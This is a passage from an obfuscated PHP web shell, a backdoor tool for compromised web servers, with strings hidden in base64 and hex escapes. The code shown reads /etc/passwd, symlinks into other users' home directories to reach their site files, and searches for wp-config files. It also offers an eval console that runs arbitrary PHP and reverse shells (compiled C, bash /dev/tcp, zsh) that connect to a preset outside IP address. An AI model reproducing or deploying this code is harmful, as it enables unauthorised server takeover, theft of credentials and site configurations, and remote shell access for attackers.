wb('PHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MSBzdHlsZT0nd2lkdGg6NjAlO2JvcmRlci1jb2xvcjojMzMzMzMzOyc+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPlMuIE5vLjwvZm9udD48L3RkPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPkRvbWFpbnM8L2ZvbnQ+PC90ZD48dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Vc2VyczwvZm9udD48L3RkPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPlN5bWxpbms8L2ZvbnQ+PC90ZD48L3RyPg=='); $dcount = 1; foreach ($d0mains as $d0main) { if (eregi(wb('em9uZQ=='), $d0main)) { preg_match_all(wb('I3pvbmUgIiguKikiIw=='), $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { $user = posix_getpwuid(@fileowner(wb('L2V0Yy92YWxpYXNlcy8=') . $domains[1][0])); echo wb('PHRyIGFsaWduPWNlbnRlcj48dGQ+PGZvbnQgc2l6ZT0yPg==') . $dcount . wb('PC9mb250PjwvdGQ+Cjx0ZCBhbGlnbj1sZWZ0PjxhIGhyZWY9aHR0cDovL3d3dy4=') . $domains[1][0] . wb('Lz48Zm9udCBjbGFzcz10eHQ+') . $domains[1][0] . wb('PC9mb250PjwvYT48L3RkPgo8dGQ+') . $user[wb('bmFtZQ==')] . "\x3c\x2f\x74\144\x3e\12\x3c\x74\144\x3e\x3c\x61\x20\150\162\x65\x66\75\47{$full}\x2f\170\143\x6f\x6e\146\151\147\x2f\162\157\x6f\164\57\150\x6f\155\x65\57" . $user[wb('bmFtZQ==')] . wb('L3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgY2xhc3M9dHh0PlN5bWxpbms8L2ZvbnQ+PC9hPjwvdGQ+PC90cj4='); flush(); $dcount++; } } } echo wb('PC90YWJsZT4='); } else { $TEST = @file(wb('L2V0Yy9wYXNzd2Q=')); if ($TEST) { @$GNJ[11](wb('eGNvbmZpZw=='), 511); $GNJ[2](wb('eGNvbmZpZw==')); exe(wb('bG4gLXMgLyByb290')); $file3 = wb('VDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekNrUnBjbVZqZEc5eWVVbHVaR1Y0SUhoamIyNW1hV2N1YUhSdENrRmtaRlI1Y0dVZ2RHVjRkQzl3YkdGcGJpQXVjR2h3Q2tGa1pFaGhibVJzWlhJZ2RHVjRkQzl3YkdGcGJpQXVjR2h3Q2xOaGRHbHpabmtnUVc1NQ=='); $fp3 = $GNJ[17](wb('Lmh0YWNjZXNz'), wb('dw==')); $fw3 = $GNJ[18]($fp3, b64dd($file3)); @$GNJ[19]($fp3); echo wb('PHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MT48dHI+IDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlMuIE5vLjwvZm9udD48L3RkPiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5Vc2VyczwvZm9udD48L3RkPiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5TeW1saW5rPC9mb250PjwvdGQ+PC90cj4='); $dcount = 1; $file = $GNJ[17](wb('L2V0Yy9wYXNzd2Q='), wb('cg==')) or die(wb('VW5hYmxlIHRvIG9wZW4gZmlsZSE=')); while (!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match(wb('L1wvKC4qPylcOlwvL3M='), $s, $matches); $matches = $GNJ[14](wb('aG9tZS8='), '', $matches[1]); if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == wb('Ymlu') || $matches == wb('ZXRjL1gxMS9mcw==') || $matches == wb('dmFyL2xpYi9uZnM=') || $matches == wb('dmFyL2FycHdhdGNo') || $matches == wb('dmFyL2dvcGhlcg==') || $matches == wb('c2Jpbg==') || $matches == wb('dmFyL2FkbQ==') || $matches == wb('dXNyL2dhbWVz') || $matches == wb('dmFyL2Z0cA==') || $matches == wb('ZXRjL250cA==') || $matches == wb('dmFyL3d3dw==') || $matches == wb('dmFyL25hbWVk')) { continue; } echo wb('PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPg==') . $dcount . wb('PC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0Pg==') . $matches . wb('PC90ZD4='); echo "\74\x74\144\40\141\154\151\x67\x6e\x3d\143\145\x6e\164\x65\162\x3e\x3c\146\x6f\x6e\164\40\143\154\141\x73\163\x3d\x74\x78\164\76\74\141\x20\x68\x72\145\x66\x3d{$fullx}\57\x78\x63\157\x6e\x66\151\147\x2f\162\157\x6f\164\x2f\x68\157\x6d\x65\x2f" . $matches . wb('L3B1YmxpY19odG1sIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rPC9hPjwvdGQ+PC90cj4='); $dcount++; } $GNJ[19]($file); echo wb('PC90YWJsZT4='); } else { if ($os != wb('V2luZG93cw==')) { @$GNJ[11](wb('eGNvbmZpZw=='), 511); @$GNJ[2](wb('eGNvbmZpZw==')); @exe(wb('bG4gLXMgLyByb290')); $file3 = wb('VDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekNrUnBjbVZqZEc5eWVVbHVaR1Y0SUhoamIyNW1hV2N1YUhSdENrRmtaRlI1Y0dVZ2RHVjRkQzl3YkdGcGJpQXVjR2h3Q2tGa1pFaGhibVJzWlhJZ2RHVjRkQzl3YkdGcGJpQXVjR2h3Q2xOaGRHbHpabmtnUVc1NQ=='); $fp3 = $GNJ[17](wb('Lmh0YWNjZXNz'), wb('dw==')); $fw3 = $GNJ[18]($fp3, b64dd($file3)); @$GNJ[19]($fp3); echo wb('PGgyPjxjZW50ZXI+U3ltbGluayBZPC9jZW50ZXI+PC9oMj4gPHRhYmxlIGFsaWduPWNlbnRlciBib3JkZXI9MT48dHI+IDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPklEPC9mb250PjwvdGQ+IDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+IDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlN5bWxpbms8L2ZvbnQ+PC90ZD48L3RyPg=='); $temp = ''; $val1 = 0; $val2 = 1000; for (; $val1 <= $val2; $val1++) { $uid = @posix_getpwuid($val1); if ($uid) { $temp .= join(wb('Og=='), $uid) . wb('Cg=='); } } echo wb('PGJyLz4='); $temp = trim($temp); $file5 = $GNJ[17](wb('dGVzdC50eHQ='), wb('dw==')); fputs($file5, $temp); $GNJ[19]($file5); $dcount = 1; $file = $GNJ[17](wb('dGVzdC50eHQ='), wb('cg==')) or die(wb('VW5hYmxlIHRvIG9wZW4gZmlsZSE=')); while (!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match(wb('L1wvKC4qPylcOlwvL3M='), $s, $matches); $matches = $GNJ[14](wb('aG9tZS8='), '', $matches[1]); if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == wb('Ymlu') || $matches == wb('ZXRjL1gxMS9mcw==') || $matches == wb('dmFyL2xpYi9uZnM=') || $matches == wb('dmFyL2FycHdhdGNo') || $matches == wb('dmFyL2dvcGhlcg==') || $matches == wb('c2Jpbg==') || $matches == wb('dmFyL2FkbQ==') || $matches == wb('dXNyL2dhbWVz') || $matches == wb('dmFyL2Z0cA==') || $matches == wb('ZXRjL250cA==') || $matches == wb('dmFyL3d3dw==') || $matches == wb('dmFyL25hbWVk')) { continue; } echo wb('PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPg==') . $dcount . wb('PC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0Pg==') . $matches . wb('PC90ZD4='); echo "\x3c\164\x64\x20\x61\154\151\147\156\x3d\x63\x65\x6e\x74\x65\x72\x3e\x3c\146\157\156\x74\40\143\x6c\141\x73\x73\x3d\x74\x78\x74\x3e\74\x61\x20\150\162\145\x66\75{$fullx}\x2f\x78\x63\157\156\x66\x69\x67\57\x72\157\157\x74\57\x68\x6f\x6d\x65\57" . $matches . wb('L3B1YmxpY19odG1sIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rPC9hPjwvdGQ+PC90cj4='); $dcount++; } $GNJ[19]($file); echo wb('PC90YWJsZT48L2NlbnRlcj4='); @$GNJ[10](wb('dGVzdC50eHQ=')); } else { echo wb('PGNlbnRlcj48Zm9udCBzaXplPTM+Q2Fubm90IGNyZWF0ZSBTeW1saW5rPC9mb250PjwvY2VudGVyPg=='); } } } } } elseif (isset($_GET[hex(wb('Y29uZmln'))])) { AutomenU($d); echo wb('PGhyPjxicj48Y2VudGVyPg=='); echo wb('PGgyPi9ldGMvcGFzc3dkIEdyYWJiZXI8L2gyPg=='); echo wb('PHRleHRhcmVhIG5hbWU9InBhc3N3ZCIgY2xhc3M9J2FyZWEgZm9ybS1jb250cm9sJyByb3dzPScxNScgY29scz0nNjAnPgo='); echo fgt(wb('L2V0Yy9wYXNzd2Q=')); echo wb('PC90ZXh0YXJlYT4='); echo wb('PGJyPjxicj4='); } elseif (isset($_GET[hex(wb('dGVtdWthbkZpbGVz'))])) { @set_time_limit(10000); $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; if (isset($_POST[wb('ZGlyZWt0b3JpeA==')])) { $direktori = $_POST[wb('ZGlyZWt0b3JpeA==')]; } else { $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; } if (isset($_POST[wb('ZXh0ZW5zaQ==')])) { $extensi = $_POST[wb('ZXh0ZW5zaQ==')]; } else { $extensi = wb('cGhw'); } if (isset($_POST[wb('Y2FyaW5hbWFmaWxl')])) { $carinamafile = $_POST[wb('Y2FyaW5hbWFmaWxl')]; } else { $carinamafile = wb('d3AtY29uZmln'); } if (isset($_POST[wb('a2F0YQ==')])) { $kata = $_POST[wb('a2F0YQ==')]; } else { $kata = wb('ZXZhbA=='); } echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj48aDI+U2VhcmNoIEZpbGVzIDwvaDI+CgkJCQk8Zm9ybSBjbGFzcz0iZm9ybS1pbmxpbmUgY2VudGVyIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCBtbC0zIiB0eXBlPSJ0ZXh0IiBuYW1lPSJjYXJpbmFtYWZpbGUiIHZhbHVlPSI=') . $carinamafile . wb('IiBzdHlsZT0id2lkdGg6NDUwcHg7IiBoZWlnaHQ9IjEwIj4gJm5ic3A7Jm5ic3A7IDxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXJla3Rvcml4IiB2YWx1ZT0i') . $direktori . wb('IiBoZWlnaHQ9IjEwIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZvcm0tY29udHJvbCBidG4gYnRuLXdhcm5pbmcgZm9ybS1jb250cm9sIGNvbC1tZC0yIG1sLTMiIHN0eWxlPSJoZWlnaHQ6MTAiIHZhbHVlPSJTZWFyY2ggRmlsZXMiIG5hbWU9ImZpbmRmIiAvPjwvZm9ybT48YnI+RmluZCBmaWxlKHMpIGluIGRpcmVjdG9yeS48L2NlbnRlcj4KCQkJCQ=='); if (isset($_POST[wb('ZmluZGY=')])) { if (isset($direktori) && isset($carinamafile)) { $ketemu = findInFiles($direktori, wb('Lw==') . $carinamafile . wb('XC4qL2k=')); $total = count($ketemu); echo wb('VG90YWwgRmlsZXM6IA==') . $total . wb('PG9sPg=='); foreach ($ketemu as $value) { $fld = dirname($value); $fl = basename($value); echo wb('PGxpPjxhIGhyZWY9Jz9kPQ==') . hex($fld) . wb('JnM9') . hex($fl) . "\47\40\x74\x61\x72\x67\x65\x74\x3d\x27\x5f\142\154\141\156\153\x27\76{$value}\x3c\x2f\141\76\74\57\x6c\151\x3e"; } echo wb('PC9vbD4='); } } echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj48aDI+U2VhcmNoIGFsbCBGaWxlcyA8L2gyPgoJCQkJPGZvcm0gY2xhc3M9ImZvcm0taW5saW5lIGNlbnRlciIgYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wgbWwtMyIgdHlwZT0idGV4dCIgbmFtZT0iZGlyZWt0b3JpeCIgdmFsdWU9Ig==') . $direktori . wb('IiBzdHlsZT0id2lkdGg6NDUwcHg7IiBoZWlnaHQ9IjEwIj4KCQkJCSAgJiN4MjVjZjsgPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9ImV4dGVuc2kiIHZhbHVlPSI=') . $extensi . wb('IiBzaXplPSI1IiBoZWlnaHQ9IjEwIj4KCQkJCSAgJm5ic3A7ICZuYnNwOyA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9IndyaXRlYWJsZW9ubHkiIHZhbHVlPSJ3cml0ZWFibGVvbmx5Ij4gV3JpdGFibGUKCQkJCSAgPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZvcm0tY29udHJvbCBidG4gYnRuLXN1Y2Nlc3MgZm9ybS1jb250cm9sIGNvbC1tZC0yIG1sLTMiIHN0eWxlPSJoZWlnaHQ6MTAiIHZhbHVlPSJTZWFyY2ggYWxsIEZpbGVzIiBuYW1lPSJmaW5kIiAvPgoJCQkJICA8L2Zvcm0+PGJyPkZpbmQgZmlsZShzKSB3aXRoIGV4dGVuc2lvbiBpbiBkaXJlY3RvcnkuIElmIGBXcml0YWJsZWAgdGlja2VkLCBtZWFuIG9ubHkgZmlsZShzKSB0aGF0IGNhbiBlZGl0IGluIHJlc3VsdChzKTwvY2VudGVyPgoJCQkJ'); if (isset($_POST[wb('ZmluZA==')])) { if (isset($direktori) && isset($extensi)) { $ketemu = findInFiles($direktori, wb('L1wu') . $extensi . wb('JC8=')); $total = count($ketemu); echo wb('RGFyaSBUb3RhbCBGaWxlczog') . $total . wb('PG9sPg=='); foreach ($ketemu as $value) { $fld = dirname($value); $fl = basename($value); if (isset($_POST[wb('d3JpdGVhYmxlb25seQ==')])) { if (is_writable($value)) { echo wb('PGxpPldyaXRlYWJsZTogPGEgaHJlZj0nP2Q9') . hex($fld) . wb('JnM9') . hex($fl) . "\47\40\x74\141\x72\147\x65\x74\75\47\137\142\154\141\x6e\153\47\76{$value}\x3c\57\x61\x3e\74\x2f\154\x69\x3e"; } } else { echo wb('PGxpPjxhIGhyZWY9Jz9kPQ==') . hex($fld) . wb('JnM9') . hex($fl) . "\x27\40\x74\x61\162\147\145\x74\75\x27\x5f\x62\x6c\141\x6e\153\47\76{$value}\74\57\x61\x3e\74\57\154\x69\x3e"; } } echo wb('PC9vbD4='); } } echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj48aDI+U2VhcmNoIGluIEZpbGVzIDwvaDI+CgkJCQk8Zm9ybSBjbGFzcz0iZm9ybS1pbmxpbmUgY2VudGVyIiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCBtbC0zIiB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXJla3Rvcml4IiB2YWx1ZT0i') . $direktori . wb('IiBzdHlsZT0id2lkdGg6NDUwcHg7IiBoZWlnaHQ9IjEwIj4KCQkJCSAgJiN4MjVjZjsgPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHR5cGU9InRleHQiIG5hbWU9ImV4dGVuc2kiIHZhbHVlPSI=') . $extensi . wb('IiBzaXplPSI1IiBoZWlnaHQ9IjEwIj4gPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wgbWwtMyIgdHlwZT0idGV4dCIgbmFtZT0ia2F0YSIgdmFsdWU9Ig==') . $kata . wb('IiBoZWlnaHQ9IjEwIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImZvcm0tY29udHJvbCBidG4gYnRuLWluZm8gZm9ybS1jb250cm9sIGNvbC1tZC0yIG1sLTMiIGhlaWdodD0iMTAiIHZhbHVlPSJTZWFyY2ggaW4gRmlsZXMiIG5hbWU9ImZpbmRJbkZpbGVzIiAvPjwvZm9ybT48YnI+RmluZCBhIHdvcmQgb2YgZmlsZShzKSBpbiBkaXJlY3RvcnkuPC9jZW50ZXI+CgkJCQk='); if (isset($_POST[wb('ZmluZEluRmlsZXM=')])) { if (isset($direktori) && isset($extensi) && isset($kata)) { $ketemu = findInFiles($direktori, wb('L1wu') . $extensi . wb('JC8=')); echo wb('PG9sPg=='); foreach ($ketemu as $value) { $ronda = fgt($value); $pattern1 = wb('Lw==') . $kata . wb('L2k='); $success1 = preg_match($pattern1, $ronda, $matches); if ($success1) { $fld = dirname($value); $fl = basename($value); echo wb('PGxpPkRpdGVtdWthbiBrYXRhIDxmb250IGNvbG9yPScjZmYwMCc+') . $kata . wb('PC9mb250PiBwYWRhIDxhIGhyZWY9Jz9kPQ==') . hex($fld) . wb('JnM9') . hex($fl) . "\47\x20\x74\141\162\147\x65\164\x3d\47\x5f\142\154\x61\x6e\153\x27\x3e{$value}\74\57\141\x3e\x3c\x2f\154\x69\76"; } } echo wb('PC9vbD4='); } } } elseif (isset($_GET[hex(wb('ZXZ2YWw='))])) { if (isset($_POST[wb('ZQ==')])) { $jevalkan = b64dd($_POST[wb('ZQ==')]); } else { $jevalkan = wb('Ly9yZWFkZmlsZSgiL2V0Yy9wYXNzd2QiKTs='); $jevalkan = @htmlentities($jevalkan); } function evval($string) { $eval_result = ''; $eval_result = @htmlentities(@eval($string)); return $eval_result; } echo wb('PHNjcmlwdD5mdW5jdGlvbiBidG9hTVJEKCkgeyB2YXIgaW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaW5wdXRUZXh0RiIpLnZhbHVlOyB2YXIgZW5jb2RlZCA9IGJ0b2EoaW5wdXQpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnB1dFRleHRGIikudmFsdWUgPSBlbmNvZGVkOyB9IDwvc2NyaXB0Pjxicj48YnI+PGgyIGNsYXNzPSJ0ZXh0LWNlbnRlciI+UEhQIDN2YWwgPHN1cD5ObyBQSFAgT3Blbjwvc3VwPjwvaDI+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9InJldHVybiBidG9hTVJEKCkiPgoJCQkJCTx0ZXh0YXJlYSBjbGFzcz0gImZvcm0tY29udHJvbCByb3VuZGVkLTAiIHN0eWxlPSJtaW4td2lkdGg6IDk2JTsgaGVpZ2h0OiAyMDBweDsiIGlkPSJpbnB1dFRleHRGIiBuYW1lPSJlIj4=') . $jevalkan . wb('PC90ZXh0YXJlYT48YnI+CgkJCQkJPGlucHV0IGNsYXNzID0gImZvcm0tY29udHJvbCByb3VuZGVkLTAiIHR5cGU9InN1Ym1pdCIgbmFtZT0iamV2YWwiIHN0eWxlPSJ3aWR0aDogMjUwcHg7bWFyZ2luOiAwIGF1dG87ICIgdmFsdWU9IkV4ZWN1dGUiPgoJCQkJPC9mb3JtPjxicj4='); if (isset($_POST[wb('amV2YWw=')]) && isset($_POST[wb('ZQ==')])) { $isi1 = b64dd($_POST[wb('ZQ==')]); echo wb('PGRpdiBjbGFzcz0nZm9ybS1ncm91cCc+PGgyIGNsYXNzPSd0ZXh0LWNlbnRlcic+UEhQIDN2YWwgUmVzdWx0PC9oMj48dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCByb3VuZGVkLTAnIHJlYWRvbmx5IHJvd3M9JzEwJyBwbGFjZWhvbGRlcj0nUGxlYXNlIHdyaXRlIGN1c3RvbWVyIG5vdGVzJz4='); $hasil_eval = evval($isi1); echo wb('PC90ZXh0YXJlYT48L2Rpdj4='); } } elseif (isset($_GET[hex(wb('bmV0d29yaw=='))])) { $back_connect_c = wb('STJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOMElITnZZMnRoWkdSeVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIyNG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052Ym01bFkzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0puTnBiaXdnYzJsNlpXOW1LSE4wY25WamRDQnpiMk5yWVdSa2Npa3BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEyOXVibVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQWdJSDBOQ2lBZ0lDQmtkWEF5S0daa0xDQXdLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJnZ0xXa2lLVHNOQ2lBZ0lDQmpiRzl6WlNobVpDazdEUXA5'); $back_connect_p = wb('SXlFdmRYTnlMMkpwYmk5bGJuWWdjR1Z5YkEwS2RYTmxJRWxQT2pwVGIyTnJaWFE3RFFva2IzTTlKRjVQT3cwS0pITm9QU0psZUhCdmNuUWdWRVZTVFQxNGRHVnliVHRRVXpFOUoxd2tVRmRFWEQ0bk8yVjRjRzl5ZENCUVV6RTdMMkpwYmk5emFDQXRhU0k3RFFwcFppZ2tiM005Zm0wdmQybHVMMmtwZXlSemFEMGlKVU5QVFZOUVJVTWxJQzlMSWp0OURRb2tkRDFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1V5d21VRVpmU1U1RlZDd21VMDlEUzE5VFZGSkZRVTBzSkhRcGZIeGthV1VvS1RzTkNtbG1LRUJCVWtkV1BUMHhLWHNOQ2dra2NEMGtRVkpIVmxzd1hUc05DZ2x6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRb0pZbWx1WkNoVExITnZZMnRoWkdSeVgybHVLQ1J3TEVsT1FVUkVVbDlCVGxrcEtYeDhaR2xsS0NrN0RRb0piR2x6ZEdWdUtGTXNNeWw4ZkdScFpTZ3BPdzBLQ1dGalkyVndkQ2hETEZNcE93MEtDWE5sYm1Rb1F5d2liV0ZTYVdSdlRtOGdjMmhsYkd3Z09pQmpiMjV1WldOMFpXUmNiaUlzTUNrN0RRb0piM0JsYmlCVFZFUkpUaXdpUENaRElqdHZjR1Z1SUZOVVJFOVZWQ3dpUGlaRElqdHZjR1Z1SUZOVVJFVlNVaXdpUGlaRElqc05DZ2xsZUdWaklDUnphSHg4WkdsbEtDazdEUW9KWTJ4dmMyVW9ReWs3WTJ4dmMyVW9VeWs3WTJ4dmMyVW9VMVJFU1U0cE8yTnNiM05sS0ZOVVJFOVZWQ2s3WTJ4dmMyVW9VMVJFUlZKU0tUc05DZ2xsZUdsMElEQTdEUW9OQ24wTkNtVnNjMmxtS0VCQlVrZFdQVDB5S1hzTkNna2tjRDBrUVZKSFZsc3dYVHNOQ2dra2FEMGtRVkpIVmxzeFhUc05DZ2trYVQxcGJtVjBYMkYwYjI0b0pHZ3BmSHhrYVdVb0tUc05DZ2trWVQxemIyTnJZV1JrY2w5cGJpZ2tjQ3drYVNsOGZHUnBaU2dwT3cwS0NXTnZibTVsWTNRb1V5d2tZU2w4ZkdScFpTZ3BPdzBLQ1hObGJtUW9VeXdpYzJobGJHd2dPaUJqYjI1dVpXTjBaV1JjYmlJc01DazdEUW9KYjNCbGJpaFRWRVJKVGl3aVBpWlRJaWs3YjNCbGJpaFRWRVJQVlZRc0lqNG1VeUlwTzI5d1pXNG9VMVJFUlZKU0xDSStKbE1pS1RzTkNnbGxlR1ZqSUNSemFIeDhaR2xsS0NrN0RRb0pZMnh2YzJVb1V5azdZMnh2YzJVb1UxUkVTVTRwTzJOc2IzTmxLRk5VUkU5VlZDazdZMnh2YzJVb1UxUkVSVkpTS1RzTkNuME5DbVZzYzJWN1pYaHBkQ2d4S1R0OQ=='); if (isset($_POST[wb('cDI=')])) { $remote = $_POST[wb('cDI=')]; } else { $remote = wb('NTEuNzkuMjQxLjEzMw=='); } if (isset($_POST[wb('cDM=')])) { $port = $_POST[wb('cDM=')]; } else { $port = wb('NDQz'); } echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj4KIDxoMj4gTmV0d29ya3MgWSA8L2gyPiA8YnI+PGJyPgoKCTxmb3JtIG1ldGhvZCA9ICdQT1NUJz4KCTxzcGFuPkJhY2stY29ubmVjdCB0byBTZXJ2ZXI6IDwvc3Bhbj48YnIvPjxpbnB1dCBjbGFzcyA9ICdmb3JtLWNvbnRyb2wnIHR5cGU9J3RleHQnIG5hbWU9J3AyJyBzdHlsZT0nd2lkdGg6MjUwcHg7JyB2YWx1ZT0=') . $remote . wb('PiBQb3J0OiA8aW5wdXQgY2xhc3MgPSAnZm9ybS1jb250cm9sJyBzdHlsZT0nd2lkdGg6MjUwcHg7JyB0eXBlPSd0ZXh0JyBuYW1lPSdwMycgdmFsdWU9Jw==') . $port . wb('Jz48YnI+IFVzaW5nOiA8bGFiZWw+PHNlbGVjdCBuYW1lPSdwMScgY2xhc3MgPSAnZm9ybS1jb250cm9sJyBzdHlsZT0nd2lkdGg6MTUwcHg7Jz48b3B0aW9uIHZhbHVlPSdTYVRpbkdHYSc+QmFzaDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3pzaCc+WlNIPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbmV0Y2F0Jz5OZXRDYXQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdzb2NhdCc+U29DYXQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwaHAnPlBoUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3RlbG5ldCc+VGVsbmV0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncGVybCc+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JjYyc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JjcHknPlB5dGhvbjwvb3B0aW9uPjwvc2VsZWN0PjwvbGFiZWw+IDxicj48aW5wdXQgc3R5bGU9J3dpZHRoOjI1MHB4OycgY2xhc3MgPSAnYnRuIGJ0bi1zdWNjZXNzIGZvcm0tY29udHJvbCcgdHlwZT1zdWJtaXQgdmFsdWU9J0Nvbm5lY3QgTm93ISc+Cgk8L2Zvcm0+PGJyPg=='); if (isset($_POST[wb('cDE=')])) { function cf($f, $t) { $w = @$GNJ[17]($f, wb('dw==')) or @function_exists(wb('ZmlsZV9wdXRfY29udGVudHM=')); if ($w) { @$GNJ[18]($w, @b64dd($t)) or @fputs($w, @b64dd($t)) or @file_put_contents($f, @b64dd($t)); @$GNJ[19]($w); } } if ($_POST[wb('cDE=')] == wb('YmNj')) { cf(wb('L3RtcC9iYy5j'), $back_connect_c); $ = exe(wb('Z2NjIC1vIC90bXAvYmMgL3RtcC9iYy5j')); @$GNJ[10](wb('L3RtcC9iYy5j')); $ = exe(wb('Z2NjIC1vIC90bXAvYmMgL3RtcC9iYy5j')); $ .= exe(wb('L3RtcC9iYyA=') . $_POST[wb('cDI=')] . wb('IA==') . $_POST[wb('cDM=')] . wb('ICY=')); echo "\x3c\160\x72\x65\40\143\154\x61\x73\163\x3d\155\154\x31\x3e{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBiYw==')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('U2FUaW5HR2E=')) { $cmd = wb('c2V0c2lkIGJhc2g='); $ = exe($cmd . wb('IC1pICY+L2Rldi90Y3Av') . $_POST[wb('cDI=')] . wb('Lw==') . $_POST[wb('cDM=')] . wb('IDA+JjEgJg==')); echo "\x3c\160\x72\145\x20\143\x6c\141\163\x73\x3d\x6d\154\61\76{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBzZXRzaWQ=')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('enNo')) { $cmd = wb('enNoIC1jICd6bW9kbG9hZCB6c2gvbmV0L3RjcCAmJiB6dGNwIA=='); $ = exe($cmd . $_POST[wb('cDI=')] . wb('IA==') . $_POST[wb('cDM=')] . "\x20\46\46\40\172\163\150\x20\x3e\46{$REPLY}\x20\x32\x3e\46{$REPLY}\40\60\76\x26{$REPLY}\x27"); echo 